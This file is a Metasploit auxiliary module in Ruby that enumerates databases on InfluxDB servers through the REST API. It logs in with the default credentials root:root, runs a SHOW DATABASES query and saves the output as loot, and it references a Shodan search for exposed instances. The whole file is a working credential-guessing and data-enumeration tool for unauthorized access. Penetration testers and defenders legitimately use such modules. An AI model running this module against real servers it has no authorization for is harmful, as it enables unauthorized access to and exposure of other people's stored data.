##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'InfluxDB Enum Utility',
        'Description' => %q{
          This module enumerates databases on InfluxDB using the REST API using the
          default authentication of root:root.
        },
        'References' => [
          ['URL', 'https://docs.influxdata.com/influxdb/v2.1/'],
          ['URL', 'https://www.shodan.io/search?query=X-Influxdb-Version']
        ],
        'Author' => [
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
          'Nixawk'
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8086),
        OptString.new('TARGETURI', [true, 'Path to list all the databases', '/']),
        OptString.new('USERNAME', [true, 'The username to login as', 'root']),
        OptString.new('PASSWORD', [true, 'The password to login with', 'root']),
        OptString.new('QUERY', [true, 'The influxdb query syntax', 'SHOW DATABASES'])
      ]
    )
  end

  def run
    begin
      # Check the target if is a influxdb server
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path),
        'method' => 'GET'
      )

      return if res.nil?
      return if res.headers['X-Influxdb-Version'].nil?

      print_good("#{peer} - Influx Version: #{res.headers['X-Influxdb-Version']}")

      # Send http auth to the target
      # curl http://127.0.0.1:8086/query?q=SHOW+DATABASES
      # curl -X POST http://127.0.0.1:8086/query --data 'q=SHOW DATABASES'
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/query'),
        'method' => 'GET',
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'vars_get' => {
          'q' => datastore['QUERY']
        }
      )

      return if res.nil?
      return if res.headers['X-Influxdb-Version'].nil?

      # Check http auth status
      case res.code
      when 401
        fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate. Invalid username/password.")
      when 200

        begin
          jsonres = JSON.parse(res.body)
          return if jsonres.nil?
          return if jsonres['results'].nil?

          result = JSON.pretty_generate(jsonres)
          vprint_good("#{peer} - Influx DB Found:\n\n#{result}\n")
          path = store_loot(
            'influxdb.enum',
            'text/plain',
            rhost,
            result,
            'InfluxDB Enum'
          )
          print_good("File saved in: #{path}")
        rescue JSON::ParserError
          fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
        end

      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected response status #{res.code}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the influx db server.")
    end
  end
end
